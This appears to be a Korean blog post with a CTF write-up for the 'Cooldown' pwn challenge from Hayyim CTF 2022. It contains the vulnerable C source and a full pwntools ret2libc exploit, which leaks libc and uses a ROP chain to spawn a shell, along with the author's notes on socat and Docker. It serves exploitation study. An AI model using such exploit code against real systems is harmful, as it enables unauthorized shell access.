본문 바로가기

hayyim ctf 2022 - Cooldown 본문

보안/워게임

hayyim ctf 2022 - Cooldown

Seongjun_You 2022. 2. 15. 01:13
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
	char buf[0x30];
	memset(buf, 0, 0x30);
	write(1, "> ", 2);
	read(0, buf, 0x60);
}

int main(void) {
	init();
	vuln();
	exit(0);
}

저번 문제 warmup과 입력값의 크기만 다르다.

ctftime에 writeup이 올라와 있다.

 

from pwn import *

context.log_level = 'Debug'
binary = context.binary = ELF('./Cooldown', checksec=False)


s = process(['socat', 'TCP-LISTEN:9999,reuseaddr,fork','EXEC:./Cooldown,pty,setsid,sigint,sane,rawer'])
p = remote('127.0.0.1', 9999)
libc = ELF('./libc.so.6', checksec=False)

payload  = b''
payload += 'A'*56
payload += p64(binary.plt.write)


p.sendafter('> ',payload)

p.recv(len(payload))

libc.address = u64(p.recv(8)) - (0x00007ffff7dd40ca - 0x00007ffff79e2000)
log.info('libc.address: {x}'.format(x = hex(libc.address)))

pop_rdi = libc.search(asm('pop rdi; ret')).next()

payload  = b''
payload += 56 * b'A'
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').next())
payload += p64(libc.sym.system)

p.sendafter(b'> ',payload)

p.interactive()

그냥 process로 로컬로 진행할 때는 메모리 leak이 안된다.

되는 사람이 있고 안 되는 사람도 있다. - 나는 되지 않는다

 

socat으로 진행할때는 leak이 가능하다.

fd를 읽을때 차이라고는 하는데 정확한 이유는 잘 모르겠다.

또한 socat을 사용할 때의 gdb방법을 알 수가 없었다.

프로세스를 attach해서 gdb를 한다고 하는데 

나는 잘 되지 않았다.

 

Docker를 세팅해서 진행해 보았다.

docker-compose up -d으로 새로운 이미지와 컨테이너를 만들었다.

그 후 exploit code를 진행했는데 잘먹혔다.

그러나 도커도 remote로 연결하기에 gdb 방법을 몰랐다.

 

 

exploit code 자체는 다 이해가 가지만

socat이라는 개념에 대해 처음 알게 되어

삽질을 했다.

 

 

---------------------------------------------

Hayyim CTF 2022 Write-up - HackMD

 

Hayyim CTF 2022 Write-up - HackMD

# Hayyim CTF 2022 Write-up 팀 `하임이 흑화하면? 초코하임 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ` 멤버: 김지환, 이주창, 정현식, 최민엽 ## Pwn ### Warmup

hackmd.io

 

다른 사람의 풀이를 보면

ld까지 이동하여 leak하는 방법도 있었다.

 

 

 

 

Cooldown
0.01MB
libc.so.6
1.94MB

 

'보안 > 워게임' 카테고리의 다른 글

pwn_patch_1  (0) 2022.02.17
Inject ME!!!  (0) 2022.02.16
hayyim ctf 2022 - Warmup  (0) 2022.02.13
hayyim ctf 2022 - 후기  (0) 2022.02.13
Bypass SECCOMP-1  (0) 2022.02.07
Comments